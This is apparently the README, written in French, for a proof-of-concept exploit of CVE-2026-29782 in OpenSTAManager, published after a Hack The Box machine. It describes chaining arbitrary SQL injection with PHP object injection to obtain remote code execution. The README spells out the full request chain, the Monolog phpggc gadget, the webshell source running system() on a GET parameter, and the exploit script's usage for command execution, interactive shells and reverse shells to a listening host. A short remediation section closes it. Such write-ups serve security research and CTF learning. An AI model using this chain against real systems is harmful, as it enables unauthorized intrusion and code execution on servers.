
Preuve de concept d'exploitation pour CVE-2026-29782, enchaînant une injection SQL et une injection d'objets PHP pour parvenir à une exécution de code à distance dans OpenSTAManager. Inclut des options de déploiement de webshell et de shell inversé.
PoC pour exécution de code à distance dans OpenSTAManager ≤ 2.10.1.
oauth2.php recherche une ligne zz_oauth2 via le paramètre GET state contrôlé
par l'attaquant et appelle unserialize() sur sa colonne access_token sans
restriction allowed_classes (Models\OAuth2::checkTokens() /
getAccessToken()). C'est un point d'injection d'objets PHP.
À lui seul, il n'est pas exploitable — vous ne pouvez pas placer l'objet. Combiné avec la fonctionnalité SQL arbitraire sans restriction du module (, aucune liste blanche de requêtes sur la branche 2.9.x — ), un administrateur authentifié peut un gadget POP sérialisé dans , puis requêter pour le déclencher.
op=risolvi-conflitti-databaseGHSA-2fr7-cc4f-wh98INSERTzz_oauth2.access_tokenoauth2.phpauth (admin)
└─ POST /actions.php op=risolvi-conflitti-database ← SQL arbitraire
└─ INSERT du blob gadget dans zz_oauth2.access_token (clé via `state`)
└─ GET /oauth2.php?state=<state>&code=x
└─ Models\OAuth2::configure() → needsConfiguration()
→ getAccessToken() → checkTokens() → unserialize($access_token)
└─ gadget POP __destruct() → écriture de fichier
└─ GET /<webshell>.php?c=<cmd> ← exécution de code en tant qu'utilisateur web
⚠️ Tests autorisés uniquement. Publié à des fins pédagogiques, pour le jeu CTF (écrit contre HTB: Enigma) et la recherche défensive. L'exécuter contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation écrite explicite est illégal. Aucune garantie. Voir LICENSE.
| Produit | OpenSTAManager (devcode-it/openstamanager) |
| Point d'injection d'objets | ≤ 2.10.1 — corrigé dans 2.10.2 (unserialize($v, ['allowed_classes' => [AccessToken::class]])) |
| Chaîne SQL arbitraire | Branche 2.9.x (risolvi-conflitti-database a gagné une liste blanche plus tard dans 2.10.x) |
| Vérifié contre | 2.9.8, PHP 8.3, MySQL 8.0 |
L'arborescence 2.9.x inclut monolog/monolog ^3.0, donc ce PoC utilise un
gadget d'écriture de fichier Monolog 3.x (phpggc Monolog/FW1) pour déposer
le webshell. Cela évite délibérément de dépendre de l'activation de
system()/exec() ou des composants Laravel présents.
requests — pip install -r requirements.txtphpggc + CLI php dans le PATH
(utilisé uniquement pour construire le gadget ; ou fournissez --payload-file avec un blob pré-construit)git clone https://github.com/ambionics/phpggc
export PATH="$PWD/phpggc:$PATH"
pip install -r requirements.txt
./exploit.py -u http://CIBLE -U admin -P 'motdepasse' [action]
actions :
--cmd 'id' exécuter une commande, afficher la sortie
--shell invite interactive basique
--lhost 10.10.14.5 --lport 4444 shell inverse bash
--drop-only déposer uniquement le webshell, afficher son URL
options utiles :
--module-id 6 identifiant du module Aggiornamenti (défaut 6)
--phpggc ./phpggc/phpggc chemin vers phpggc
--payload-file blob.bin ignorer phpggc, utiliser un blob Monolog/FW1 pré-généré
--webshell-name name.php nom de fichier déposé dans la racine web
--proxy http://127.0.0.1:8080
--keep laisser la ligne zz_oauth2 injectée en place
# prouver la RCE
./exploit.py -u http://support.example.htb -U admin -P 'hunter2' --cmd 'id; uname -a'
# interactif
./exploit.py -u http://support.example.htb -U admin -P 'hunter2' --shell
# shell inverse (lancez d'abord `nc -lvnp 4444`)
./exploit.py -u http://support.example.htb -U admin -P 'hunter2' --lhost 10.10.14.5 --lport 4444
Pré-génération manuelle du gadget (équivalent à ce que fait le script) :
printf '%s' '<?php echo "|OSMSH|"; @system($_GET["c"]); ?>' > ws.php
phpggc -a -f Monolog/FW1 osm_shell.php ws.php > blob.bin
./exploit.py -u http://CIBLE -U admin -P pass \
--payload-file blob.bin --webshell-name osm_shell.php --cmd id
-a = encodage de chaîne S: compatible ASCII (survit octet par octet à la
colonne TEXT) ; -f = destruction rapide (l'objet se déclenche immédiatement
après unserialize(), avant qu'OpenSTAManager n'appelle ->hasExpired() dessus
et ne lève une exception).
POST /index.php op=login&username=&password= (succès = 302
loin de index.php).POST /actions.php
op=risolvi-conflitti-database&id_module=6&queries=<tableau-json>. Chaque
élément est passé à $dbo->query() ; la branche 2.9.x n'applique aucune liste
blanche. Le PoC ajoute une paire CREATE TABLE … / DROP TABLE … pour forcer un
COMMIT implicite (le point de terminaison laisse sinon les écritures dans une
transaction non validée). Le gestionnaire renvoie également le texte d'erreur
MySQL, fournissant un oracle de lecture extractvalue() (OSM.sql_extract()
dans le code).INSERT dans zz_oauth2 d'une ligne avec un state connu et
access_token = 0x<hex(gadget)> ; class est défini sur le fournisseur réel
Modules\Emails\OAuth2\Google.GET /oauth2.php?state=<state>&code=x. configure() appelle
needsConfiguration() → getAccessToken() → checkTokens() →
unserialize($this->access_token) sans allowed_classes. Le __destruct du
gadget Monolog écrit le webshell. La réponse est HTTP 500 — attendu.GET /<webshell>?c=<cmd> → system().unserialize($v, ['allowed_classes' => [AccessToken::class]]) et l'exécuteur
SQL d'Aggiornamenti est soumis à une liste blanche.modules/aggiornamenti/ aux administrateurs de confiance ; surveillez
les écritures dans zz_oauth2 et les requêtes vers oauth2.php.Recherche et PoC lors du rooting de HTB: Enigma.